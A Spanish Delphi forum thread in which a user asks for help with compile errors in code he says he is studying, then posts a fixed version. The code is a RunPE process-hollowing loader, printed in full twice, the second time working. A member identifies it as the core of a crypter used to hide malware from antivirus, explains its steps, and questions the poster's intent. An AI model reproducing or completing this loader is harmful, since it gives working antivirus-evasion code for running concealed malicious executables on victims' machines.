Club Delphi  
    FTP   CCD     Buscar   Trucos   Trabajo   Foros

Retroceder   Foros Club Delphi > Principal > Varios
Registrarse FAQ Miembros Calendario Guía de estilo Temas de Hoy

Grupo de Teaming del ClubDelphi

Respuesta
 
Herramientas Buscar en Tema Desplegado
  #1  
Antiguo 19-02-2015
JuanOrtega JuanOrtega is offline
Miembro
NULL
 
Registrado: sep 2011
Posts: 130
Poder: 13
JuanOrtega Va por buen camino
Reparar varios errores en un codigo

Hola tengo el siguiente codigo que estoy estudiando en Delphi XE2 que me devuelve los siguientes errores :

Código:
[DCC Error] Unit1.pas(97): E2033 Types of actual and formal var parameters must be identical
[DCC Error] Unit1.pas(111): E2033 Types of actual and formal var parameters must be identical
[DCC Error] Unit1.pas(121): E2033 Types of actual and formal var parameters must be identical
[DCC Error] Unit1.pas(132): E2033 Types of actual and formal var parameters must be identical
El codigo :

Código Delphi [-]
unit Unit1;

interface

uses
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls;

type
  TForm1 = class(TForm)
    Button1: TButton;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

Function MemoryExecute(Buffer :Pointer;Parameters: String; Visible: Boolean): TProcessInformation;
type
  HANDLE        = THandle;
  PVOID         = Pointer;
  LPVOID        = Pointer;
  SIZE_T        = Cardinal;
  ULONG_PTR     = Cardinal;
  NTSTATUS      = LongInt;
  LONG_PTR      = Integer;

  PImageSectionHeaders = ^TImageSectionHeaders;
  TImageSectionHeaders = Array [0..95] Of TImageSectionHeader;
Var
  ZwUnmapViewOfSection  :Function(ProcessHandle: THANDLE; BaseAddress: Pointer): LongInt; stdcall;
  ProcessInfo           :TProcessInformation;
  StartupInfo           :TStartupInfo;
  Context               :TContext;
  BaseAddress           :Pointer;
  BytesRead             WORD;
  BytesWritten          WORD;
  I                     :ULONG;
  OldProtect            :ULONG;
  NTHeaders             :PImageNTHeaders;
  Sections              :PImageSectionHeaders;
  Success               :Boolean;
  ProcessName           :string;

Function ImageFirstSection(NTHeader: PImageNTHeaders): PImageSectionHeader;
Begin
  Result := PImageSectionheader( ULONG_PTR(@NTheader.OptionalHeader) +
                                 NTHeader.FileHeader.SizeOfOptionalHeader);
End;

Function Protect(Characteristics: ULONG): ULONG;
Const
  Mapping       :Array[0..7] Of ULONG = (
                 PAGE_NOACCESS,
                 PAGE_EXECUTE,
                 PAGE_READONLY,
                 PAGE_EXECUTE_READ,
                 PAGE_READWRITE,
                 PAGE_EXECUTE_READWRITE,
                 PAGE_READWRITE,
                 PAGE_EXECUTE_READWRITE  );
Begin
  Result := Mapping[ Characteristics SHR 29 ];
End;
Begin
  @ZwUnmapViewOfSection := GetProcAddress(LoadLibrary('ntdll.dll'), 'ZwUnmapViewOfSection');
  ProcessName := ParamStr(0);

  FillChar(ProcessInfo, SizeOf(TProcessInformation), 0);
  FillChar(StartupInfo, SizeOf(TStartupInfo),        0);

  StartupInfo.cb := SizeOf(TStartupInfo);
  StartupInfo.dwFlags := STARTF_USESHOWWINDOW;
  if Visible Then
    StartupInfo.wShowWindow := SW_NORMAL
  else
    StartupInfo.wShowWindow := SW_Hide;

  If (CreateProcess(PChar(ProcessName), PChar(Parameters), NIL, NIL,
                    False, CREATE_SUSPENDED, NIL, NIL, StartupInfo, ProcessInfo)) Then
  Begin
    Success := True;
    Result := ProcessInfo;

    Try
      Context.ContextFlags := CONTEXT_INTEGER;
      If (GetThreadContext(ProcessInfo.hThread, Context) And
         (ReadProcessMemory(ProcessInfo.hProcess, Pointer(Context.Ebx + 8),
                            @BaseAddress, SizeOf(BaseAddress), BytesRead)) And
         (ZwUnmapViewOfSection(ProcessInfo.hProcess, BaseAddress) >= 0) And
         (Assigned(Buffer))) Then
         Begin
           NTHeaders    := PImageNTHeaders(Cardinal(Buffer) + Cardinal(PImageDosHeader(Buffer)._lfanew));
           BaseAddress  := VirtualAllocEx(ProcessInfo.hProcess,
                                          Pointer(NTHeaders.OptionalHeader.ImageBase),
                                          NTHeaders.OptionalHeader.SizeOfImage,
                                          MEM_RESERVE or MEM_COMMIT,
                                          PAGE_READWRITE);

           If (Assigned(BaseAddress)) And
              (WriteProcessMemory(ProcessInfo.hProcess, BaseAddress, Buffer,
                                  NTHeaders.OptionalHeader.SizeOfHeaders,
                                  BytesWritten)) Then
              Begin
                Sections := PImageSectionHeaders(ImageFirstSection(NTHeaders));

                For I := 0 To NTHeaders.FileHeader.NumberOfSections -1 Do
                  If (WriteProcessMemory(ProcessInfo.hProcess,
                                         Pointer(Cardinal(BaseAddress) +
                                                 Sections[i].VirtualAddress),
                                         Pointer(Cardinal(Buffer) +
                                                 Sections[i].PointerToRawData),
                                         Sections[i].SizeOfRawData, BytesWritten)) Then
                     VirtualProtectEx(ProcessInfo.hProcess,
                                      Pointer(Cardinal(BaseAddress) +
                                              Sections[i].VirtualAddress),
                                      Sections[i].Misc.VirtualSize,
                                      Protect(Sections[i].Characteristics),
                                      OldProtect);


                If (WriteProcessMemory(ProcessInfo.hProcess,
                                       Pointer(Context.Ebx + 8), @BaseAddress,
                                       SizeOf(BaseAddress), BytesWritten)) Then
                   Begin
                     Context.EAX := ULONG(BaseAddress) +
                                    NTHeaders.OptionalHeader.AddressOfEntryPoint;
                     Success := SetThreadContext(ProcessInfo.hThread, Context);
                   End;
              End;
         End;
    Finally
      If (Not Success) Then
        TerminateProcess(ProcessInfo.hProcess, 0)
      else
        ResumeThread(ProcessInfo.hThread);
    End;
  End;
End;

procedure TForm1.Button1Click(Sender: TObject);
begin
ShowMessage('test');
end;

end.

La verdad no entiendo a que se debe este error , y se repite en varias lineas , ¿ como fixeo este error ?
Responder Con Cita
  #2  
Antiguo 19-02-2015
Avatar de escafandra
[escafandra] escafandra is offline
Miembro Premium
 
Registrado: nov 2007
Posts: 2.197
Poder: 20
escafandra Tiene un aura espectacularescafandra Tiene un aura espectacular
Me llama la atención lo sencillo que resulta detectar y corregir los errores a la par de lo sofisticado del código. No se si sabes lo que realiza dicho código, por otra parte incoherente con el resto de la aplicación, yo si se lo que realiza y por tu pregunta deduzco que no lo has escrito tu, un copy-paste con un par de errores que un principiante detecta y corrige casi al vuelo.

Dime una cosa, ¿que pretendes hacer con ese código?


Saludos.
Responder Con Cita
  #3  
Antiguo 19-02-2015
JuanOrtega JuanOrtega is offline
Miembro
NULL
 
Registrado: sep 2011
Posts: 130
Poder: 13
JuanOrtega Va por buen camino
como buen principiante ya resolvi el problema , gracias por la ayuda.

Saludos.
Responder Con Cita
  #4  
Antiguo 19-02-2015
Avatar de dec
dec dec is offline
Moderador
 
Registrado: dic 2004
Ubicación: Alcobendas, Madrid, España
Posts: 13.107
Poder: 34
dec Tiene un aura espectaculardec Tiene un aura espectacular
Hola,

Cita:
Empezado por Lepuke Ver Mensaje
como buen principiante ya resolvi el problema , gracias por la ayuda.

Saludos.
Es costumbre del foro aportar la solución cuando uno la encuentre, incluso si se trata de una solución para su propia pregunta.
__________________
David Esperalta
www.decsoftutils.com
Responder Con Cita
  #5  
Antiguo 19-02-2015
Avatar de Casimiro Notevi
Casimiro Notevi Casimiro Notevi is offline
Moderador
 
Registrado: sep 2004
Ubicación: En algún lugar.
Posts: 32.040
Poder: 10
Casimiro Notevi Tiene un aura espectacularCasimiro Notevi Tiene un aura espectacular
GUÍA ALTERNATIVA
  1. No te preocupes por dónde colocar tus preguntas. A nosotros nos encanta abrir todos los mensajes sin importar en qué foro estén.
  2. Ni pienses qué título ponerle a tu mensaje. "Tengo una duda" es suficiente para que nosostros entendamos que estás en problemas.
  3. Cuando te aparezca un mensaje de error, no te molestes en decirnos cuál es. Nos encanta tratar de adivinar.
  4. Cuando publiques código no te preocupes porque quede bien presentado. Nosotros distinguimos perfectamente los bloques sin necesidad de ninguna indentación.
  5. Si tienes un problema con bases de datos no es necesario que nos digas qué motor usas, nosotros sabemos la respuesta para cualquiera de ellos.
  6. Si no se entiende lo que preguntas, ni te molestes en aclarar. Nos fascinan los misterios.
  7. No te esfuerces en oprimir F1. Nosotros ya lo hemos hecho y podemos darte la respuesta más rápido.
  8. La opción de búsqueda en los foros sólo está para adornar la página. Es divertidísimo contestar una y otra vez lo mismo.
  9. ¿Google? Eso es para nerds como nosotros.
  10. Ante un problema, no te molestes en tratar de entenderlo. Nosotros ya nos hemos quemado las pestañas por ti y estamos felices de escribirte el código.
  11. Si te plase, eskribe con kas y faltas de hortografia. Komo nosotros no entramos a los chats nos hencanta pensar ke estamos en 1.
  12. Si en cinco minutos nadie te ha contestado, siéntete en libertad de abrir cuantos hilos puedas para preguntar lo mismo. Tú no mereces ese trato.
  13. Nunca des las gracias. Nos encanta responder sin más aliciente que ver nuestro nombre escrito.
  14. Cuando escribas un mensaje, siéntete en libertad de no volver en tres semanas. Nosotros estaremos aquí resolviendo tu problema.
  15. Si eres nuevo, acláralo desde el principio. Con eso basta para que nosotros resolvamos tu problema. Tú aún no puedes consultar la ayuda.
  16. Si alguien te remite a la guía de estilo, no te molestes en leerla. Tú tienes cosas más importantes que hacer y a fin de cuentas, nadie la lee.
  17. Si encuentras la solución tú mismo, no te molestes en explicarla. Bastará con un "Ya lo resolví, gracias". Nos emociona ver gente autosuficiente.
  18. No dudes en pedir que te envíen la solución a tu correo. El foro está sólo para los ociosos y tú no tienes tiempo que perder.
Responder Con Cita
  #6  
Antiguo 19-02-2015
Avatar de roman
roman roman is offline
Moderador
 
Registrado: may 2003
Ubicación: Ciudad de México
Posts: 20.269
Poder: 10
roman Es un diamante en brutoroman Es un diamante en brutoroman Es un diamante en bruto
No sé. Supongo que será fácil encontrar y corregir el error pero por más que le busco no encuentro los dichosos var parameters

pd: ha de ser la senectud temprana

// Saludos
Responder Con Cita
  #7  
Antiguo 19-02-2015
JuanOrtega JuanOrtega is offline
Miembro
NULL
 
Registrado: sep 2011
Posts: 130
Poder: 13
JuanOrtega Va por buen camino
ajajajaj , tranquilos no se pongan asi , solo que pense que nadie habia leido este post aca les dejo la solucion :

Código Delphi [-]
unit Unit1;

interface

uses
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  System.Classes, Vcl.Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls;

type
  TForm1 = class(TForm)
    Button1: TButton;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

Function MemoryExecute(Buffer: Pointer; Parameters: String; Visible: Boolean)
  : TProcessInformation;
type

  PImageSectionHeaders = ^TImageSectionHeaders;
  TImageSectionHeaders = Array [0 .. 95] Of TImageSectionHeader;
Var
  ZwUnmapViewOfSection: Function(ProcessHandle: THANDLE; BaseAddress: Pointer)
    : LongInt; stdcall;
  ProcessInfo: TProcessInformation;
  StartupInfo: TStartupInfo;
  Context: TContext;
  BaseAddress: Pointer;
  BytesRead: SIZE_T;
  BytesWritten: SIZE_T;
  I: ULONG;
  OldProtect: ULONG;
  NTHeaders: PImageNTHeaders;
  Sections: PImageSectionHeaders;
  Success: Boolean;
  ProcessName: string;

  Function ImageFirstSection(NTHeader: PImageNTHeaders): PImageSectionHeader;
  Begin
    Result := PImageSectionHeader(ULONG_PTR(@NTHeader.OptionalHeader) +
      NTHeader.FileHeader.SizeOfOptionalHeader);
  End;

  Function Protect(Characteristics: ULONG): ULONG;
  Const
    Mapping: Array [0 .. 7] Of ULONG = (PAGE_NOACCESS, PAGE_EXECUTE,
      PAGE_READONLY, PAGE_EXECUTE_READ, PAGE_READWRITE, PAGE_EXECUTE_READWRITE,
      PAGE_READWRITE, PAGE_EXECUTE_READWRITE);
  Begin
    Result := Mapping[Characteristics SHR 29];
  End;

Begin
  @ZwUnmapViewOfSection := GetProcAddress(LoadLibrary('ntdll.dll'),
    'ZwUnmapViewOfSection');
  ProcessName := ParamStr(0);

  FillChar(ProcessInfo, SizeOf(TProcessInformation), 0);
  FillChar(StartupInfo, SizeOf(TStartupInfo), 0);

  StartupInfo.cb := SizeOf(TStartupInfo);
  StartupInfo.dwFlags := STARTF_USESHOWWINDOW;
  if Visible Then
    StartupInfo.wShowWindow := SW_NORMAL
  else
    StartupInfo.wShowWindow := SW_Hide;

  If (CreateProcess(PChar(ProcessName), PChar(Parameters), NIL, NIL, False,
    CREATE_SUSPENDED, NIL, NIL, StartupInfo, ProcessInfo)) Then
  Begin
    Success := True;
    Result := ProcessInfo;

    Try
      Context.ContextFlags := CONTEXT_INTEGER;
      If (GetThreadContext(ProcessInfo.hThread, Context) And
        (ReadProcessMemory(ProcessInfo.hProcess, Pointer(Context.Ebx + 8),
        @BaseAddress, SizeOf(BaseAddress), BytesRead)) And
        (ZwUnmapViewOfSection(ProcessInfo.hProcess, BaseAddress) >= 0) And
        (Assigned(Buffer))) Then
      Begin
        NTHeaders := PImageNTHeaders(Cardinal(Buffer) +
          Cardinal(PImageDosHeader(Buffer)._lfanew));
        BaseAddress := VirtualAllocEx(ProcessInfo.hProcess,
          Pointer(NTHeaders.OptionalHeader.ImageBase),
          NTHeaders.OptionalHeader.SizeOfImage, MEM_RESERVE or MEM_COMMIT,
          PAGE_READWRITE);

        If (Assigned(BaseAddress)) And
          (WriteProcessMemory(ProcessInfo.hProcess, BaseAddress, Buffer,
          NTHeaders.OptionalHeader.SizeOfHeaders, BytesWritten)) Then
        Begin
          Sections := PImageSectionHeaders(ImageFirstSection(NTHeaders));

          For I := 0 To NTHeaders.FileHeader.NumberOfSections - 1 Do
            If (WriteProcessMemory(ProcessInfo.hProcess,
              Pointer(Cardinal(BaseAddress) + Sections[i].VirtualAddress),
              Pointer(Cardinal(Buffer) + Sections[i].PointerToRawData),
              Sections[i].SizeOfRawData, BytesWritten)) Then
              VirtualProtectEx(ProcessInfo.hProcess,
                Pointer(Cardinal(BaseAddress) + Sections[i].VirtualAddress),
                Sections[i].Misc.VirtualSize,
                Protect(Sections[i].Characteristics), OldProtect);

          If (WriteProcessMemory(ProcessInfo.hProcess, Pointer(Context.Ebx + 8),
            @BaseAddress, SizeOf(BaseAddress), BytesWritten)) Then
          Begin
            Context.EAX := ULONG(BaseAddress) +
              NTHeaders.OptionalHeader.AddressOfEntryPoint;
            Success := SetThreadContext(ProcessInfo.hThread, Context);
          End;
        End;
      End;
    Finally
      If (Not Success) Then
        TerminateProcess(ProcessInfo.hProcess, 0)
      else
        ResumeThread(ProcessInfo.hThread);
    End;
  End;
End;

procedure TForm1.Button1Click(Sender: TObject);
begin
  ShowMessage('error');
end;

end.
Responder Con Cita
  #8  
Antiguo 19-02-2015
Avatar de escafandra
[escafandra] escafandra is offline
Miembro Premium
 
Registrado: nov 2007
Posts: 2.197
Poder: 20
escafandra Tiene un aura espectacularescafandra Tiene un aura espectacular
Cita:
Empezado por roman Ver Mensaje
No sé. Supongo que será fácil encontrar y corregir el error pero por más que le busco no encuentro los dichosos var parameters

pd: ha de ser la senectud temprana

// Saludos
Código Delphi [-]
  BytesRead             WORD;  
  BytesWritten          WORD;
Fallo de sintaxis y de tipo. Deben ser DWORD

El código es un RunPE. Ejecuta desde RAM un bloque de memoria que aloje un ejecutable, la base de un crypter. Por eso me mostré tan escéptico con el tema. Estoy seguro que Lepuke no comprende ese código aunque si entiende para que sirve, por eso lo copió.

Saludos.
Responder Con Cita
  #9  
Antiguo 19-02-2015
Avatar de roman
roman roman is offline
Moderador
 
Registrado: may 2003
Ubicación: Ciudad de México
Posts: 20.269
Poder: 10
roman Es un diamante en brutoroman Es un diamante en brutoroman Es un diamante en bruto
Estoy de acuerdo contigo (y mira que yo tampoco sé que es ese código)

Los var parameter no los veía porque, de hecho no están ahí ¿no? Supongo que están declarados en alguna de las funciones que utilizan las variables que mencionas.

// Saludos
Responder Con Cita
  #10  
Antiguo 19-02-2015
Avatar de escafandra
[escafandra] escafandra is offline
Miembro Premium
 
Registrado: nov 2007
Posts: 2.197
Poder: 20
escafandra Tiene un aura espectacularescafandra Tiene un aura espectacular
Cita:
Empezado por roman Ver Mensaje
Los var parameter no los veía porque, de hecho no están ahí ¿no? Supongo que están declarados en alguna de las funciones que utilizan las variables que mencionas.
Simplemente estaban equivocados los tipos, por eso el compilador protestaba, "no son idénticos"

Saludos.
Responder Con Cita
  #11  
Antiguo 19-02-2015
JuanOrtega JuanOrtega is offline
Miembro
NULL
 
Registrado: sep 2011
Posts: 130
Poder: 13
JuanOrtega Va por buen camino
Cita:
Empezado por escafandra Ver Mensaje
por eso lo copió.
¿ Que ? , nunca dije que el codigo era mio , dije que lo estaba estudiando no se que por haces tanto lio con ese tema y ni hablar cuando dijiste que yo no nisiquiera era un simple principiante.
deberias medir tus palabras yo les estoy hablando a todos con respeto y no los trato de ignorantes o rippers como lo estas haciendo conmigo.

Última edición por JuanOrtega fecha: 19-02-2015 a las 21:32:21.
Responder Con Cita
  #12  
Antiguo 19-02-2015
Avatar de escafandra
[escafandra] escafandra is offline
Miembro Premium
 
Registrado: nov 2007
Posts: 2.197
Poder: 20
escafandra Tiene un aura espectacularescafandra Tiene un aura espectacular
Cita:
Empezado por Lepuke Ver Mensaje
¿ Que ? , nunca dije que el codigo era mio , dije que lo estaba estudiando..
Cierto, nunca dijiste que el código era tuyo pero tampoco que lo estuvieras estudiando, simplemente preguntaste una duda, la duda que te impedía compilarlo.

Cita:
Empezado por Lepuke Ver Mensaje
... cuando dijiste que yo no nisiquiera era un simple principiante.
No dije que fueras principiante, dije que el código tenía "un par de errores que un principiante detecta y corrige casi al vuelo", y de hecho tu mismo has encontrado ese par de errores, dos variables cambiadas de tipo y sintácticamente mal escritas, probablemente los introdujiste tú mismo al desconocer los tipos que las APIs esperaban encontrar, por eso deduje que no entendías el código.

Cita:
Empezado por Lepuke Ver Mensaje
deberias medir tus palabras yo les estoy hablando a todos con respeto y no los trato de ignorantes o rippers como lo estas haciendo conmigo.
No quise ofenderte, pero estarás de acuerdo conmigo en que ese tipo de código puede resultar peligroso, según, como y quién lo use. No preguntaste nada sobre su funcionamiento real, sino una simple duda de tipos, parece que es lo que realmente te interesaba y eso me puso en alerta.

Para experimentar se debe saber bien lo que estás haciendo y entender a fondo el código, sobre todo, si como dices, pretendes estudiarlo. Para ese propósito de nada te servirá tener un código que hace cosas "especiales" y usarlo sin entenderlo.

No es que piense mal de ti en concreto, espero que seas sensato, pero todavía no contestaste a mi pregunta inicial, ¿que piensas hacer con ese código?


Saludos.
Responder Con Cita
  #13  
Antiguo 19-02-2015
Avatar de Casimiro Notevi
Casimiro Notevi Casimiro Notevi is offline
Moderador
 
Registrado: sep 2004
Ubicación: En algún lugar.
Posts: 32.040
Poder: 10
Casimiro Notevi Tiene un aura espectacularCasimiro Notevi Tiene un aura espectacular
Paz y amor
Responder Con Cita
  #14  
Antiguo 19-02-2015
Avatar de escafandra
[escafandra] escafandra is offline
Miembro Premium
 
Registrado: nov 2007
Posts: 2.197
Poder: 20
escafandra Tiene un aura espectacularescafandra Tiene un aura espectacular
Ya entrados en el asunto y para saciar curiosidades, el código funciona de la siguiente manera:

1. Se pretende ejecutar un programa cargado en memoria y no desde un archivo.
2. Crea un nuevo proceso suspendido, en este caso una copia del mismo que se está ejecutando.
3. En el espacio de memoria del nuevo proceso se copian todas las secciones del PE del proceso "escondido en memoria" que pretendemos ejecutar.
4. Terminado este proceso, localizamos el nuevo punto de entrada a nuestro "binario escondido" y ajustamos el Contexto del nuevo proceso alterado para asignarle el nuevo punto de entrada.
5. Para finalizar reactivamos el hilo principal que estaba suspendido hasta este momento.

El método es ingenioso y su conocimiento una simple curiosidad técnica.

El tema es que el uso de estas técnicas se circunscribe a esconder binarios a los ojos de los antivirus, no tiene otro sentido. Esos binarios pueden suelen encriptados para aumentar su invisibilidad, en definitiva su utilidad es para realizar crypters que escondan virus o código malicioso.



Saludos.
Responder Con Cita
  #15  
Antiguo 19-02-2015
Avatar de escafandra
[escafandra] escafandra is offline
Miembro Premium
 
Registrado: nov 2007
Posts: 2.197
Poder: 20
escafandra Tiene un aura espectacularescafandra Tiene un aura espectacular
Mientras escribía Casimiro Notevi dejó este mensaje:
Cita:
Empezado por Casimiro Notevi Ver Mensaje
Paz y amor


Saludos.
Responder Con Cita
  #16  
Antiguo 19-02-2015
JuanOrtega JuanOrtega is offline
Miembro
NULL
 
Registrado: sep 2011
Posts: 130
Poder: 13
JuanOrtega Va por buen camino
Cita:
Empezado por escafandra Ver Mensaje
Cierto, nunca dijiste que el código era tuyo
Hola tengo el siguiente codigo que estoy estudiando en Delphi XE2 que me devuelve los siguientes errores :

Cita:
Empezado por escafandra Ver Mensaje
¿que piensas hacer con ese código?
simple curiosidad de como funciona.
Responder Con Cita
  #17  
Antiguo 19-02-2015
Avatar de escafandra
[escafandra] escafandra is offline
Miembro Premium
 
Registrado: nov 2007
Posts: 2.197
Poder: 20
escafandra Tiene un aura espectacularescafandra Tiene un aura espectacular
La curiosidad es buena y estimulante.

Ya he expuesto el resumen de su funcionamiento, ahora te toca estudiar mucho sobre el formato PE, sobre las estructuras que lo componen, así como alcanzar un profundo conocimiento de la API de Windows.


Saludos.
Responder Con Cita
  #18  
Antiguo 20-02-2015
Avatar de nlsgarcia
[nlsgarcia] nlsgarcia is offline
Miembro Premium
 
Registrado: feb 2007
Ubicación: Caracas, Venezuela
Posts: 2.206
Poder: 21
nlsgarcia Tiene un aura espectacularnlsgarcia Tiene un aura espectacular
escafandra,

Cita:
Empezado por escafandra
...Ya he expuesto el resumen de su funcionamiento...


Nelson.
Responder Con Cita
  #19  
Antiguo 20-02-2015
Avatar de roman
roman roman is offline
Moderador
 
Registrado: may 2003
Ubicación: Ciudad de México
Posts: 20.269
Poder: 10
roman Es un diamante en brutoroman Es un diamante en brutoroman Es un diamante en bruto
Cita:
Empezado por escafandra Ver Mensaje
Ya entrados en el asunto y para saciar curiosidades, el código funciona de la siguiente manera:

1. Se pretende ejecutar un programa cargado en memoria y no desde un archivo.
2. Crea un nuevo proceso suspendido, en este caso una copia del mismo que se está ejecutando.
3. En el espacio de memoria del nuevo proceso se copian todas las secciones del PE del proceso "escondido en memoria" que pretendemos ejecutar.
4. Terminado este proceso, localizamos el nuevo punto de entrada a nuestro "binario escondido" y ajustamos el Contexto del nuevo proceso alterado para asignarle el nuevo punto de entrada.
5. Para finalizar reactivamos el hilo principal que estaba suspendido hasta este momento.
¡Ah! ¡Qué tiempos aquellos del for i:=1 to 10 writeln('hola');

Impresionante. La verdad, mis respetos escafandra

// Saludos
Responder Con Cita
Respuesta



Normas de Publicación
no Puedes crear nuevos temas
no Puedes responder a temas
no Puedes adjuntar archivos
no Puedes editar tus mensajes

El código vB está habilitado
Las caritas están habilitado
Código [IMG] está habilitado
Código HTML está deshabilitado
Saltar a Foro

Temas Similares
Tema Autor Foro Respuestas Último mensaje
Error: la operacion en varios pasos genero errores. gianfranco_tont SQL 1 26-02-2012 16:52:01
EOleException La Operacion en varios pasos genero errores Lucas_diaz1810 Conexión con bases de datos 2 28-12-2006 13:11:36
Errores varios jmselesan Varios 3 24-07-2003 14:03:14
La operación en varios pasos generó errores. aig Conexión con bases de datos 0 24-07-2003 10:47:05
como reparar errores sencillos en un ejecutable ing_alsaac Varios 3 23-06-2003 19:26:44


La franja horaria es GMT +2. Ahora son las 21:19:18.


Powered by vBulletin® Version 3.6.8
Copyright ©2000 - 2024, Jelsoft Enterprises Ltd.
Traducción al castellano por el equipo de moderadores del Club Delphi
Copyright 1996-2007 Club Delphi